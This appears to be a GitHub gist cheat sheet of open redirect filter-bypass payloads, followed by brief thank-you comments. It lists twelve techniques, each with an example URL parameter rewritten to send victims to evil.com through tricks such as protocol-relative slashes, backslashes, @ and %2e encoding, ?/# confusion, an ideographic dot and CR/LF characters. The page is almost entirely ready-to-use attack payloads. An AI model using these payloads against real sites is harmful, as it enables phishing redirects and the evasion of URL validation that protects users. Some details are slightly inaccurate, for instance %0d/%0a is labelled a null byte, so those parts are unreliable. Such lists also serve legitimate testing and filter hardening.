Skip to content

Instantly share code, notes, and snippets.

@0xblackbird
Created April 1, 2021 19:04
Show Gist options
  • Star 19 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save 0xblackbird/d7677a05ea50586cf2be0a601e665d1a to your computer and use it in GitHub Desktop.
Save 0xblackbird/d7677a05ea50586cf2be0a601e665d1a to your computer and use it in GitHub Desktop.
Open redirect bypasses

Open redirect bypasses

  • Simply try to change the domain

    Example: ?redirect=https://example.com --> ?redirect=https://evil.com

  • Bypass the filter when protocol is blacklisted using //

    Example: ?redirect=https://example.com --> ?redirect=//evil.com

  • Bypass the filter when double slash is blacklisted using \\

    Example: ?redirect=https://example.com --> ?redirect=\evil.com

  • Bypass the filter when double slash is blacklisted using http: or https:

    Example: ?redirect=https://example.com --> ?redirect=https:example.com

  • Bypass the filter using %40

    Example: ?redirect=example.com --> ?redirect=example.com%40evil.com

  • Bypass the filter if it only checks for domain name

    Example: ?redirect=example.com --> ?redirect=example.comevil.com

  • Bypass the filter if it only checks for domain name using a dot %2e

    Example: ?redirect=example.com --> ?redirect=example.com%2eevil.com

  • Bypass the filter if it only checks for domain name using a query/question mark ?

    Example: ?redirect=example.com --> ?redirect=evil.com?example.com

  • Bypass the filter if it only checks for domain name using a hash %23

    Example: ?redirect=example.com --> ?redirect=evil.com%23example.com

  • Bypass the filter using a ° symbol

    Example: ?redirect=example.com --> ?redirect=example.com/°evil.com

  • Bypass the filter using a url encoded Chinese dot %E3%80%82

    Example: ?redirect=example.com --> ?redirect=evil.com%E3%80%82%23example.com

  • Bypass the filter if it only allows you to control the path using a nullbyte %0d or %0a

    Example: ?redirect=/ --> ?redirect=/%0d/evil.com

@karim4911
Copy link

Good one brother

@0xblackbird
Copy link
Author

Good one brother

Thank you!!

@Aditya2585
Copy link

Nice

@0xblackbird
Copy link
Author

Nice

You're welcome!

@JFOZ1010
Copy link

JFOZ1010 commented May 1, 2024

Hey Man, thanks!

@0xblackbird
Copy link
Author

Hey Man, thanks!

You're welcome! ;)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment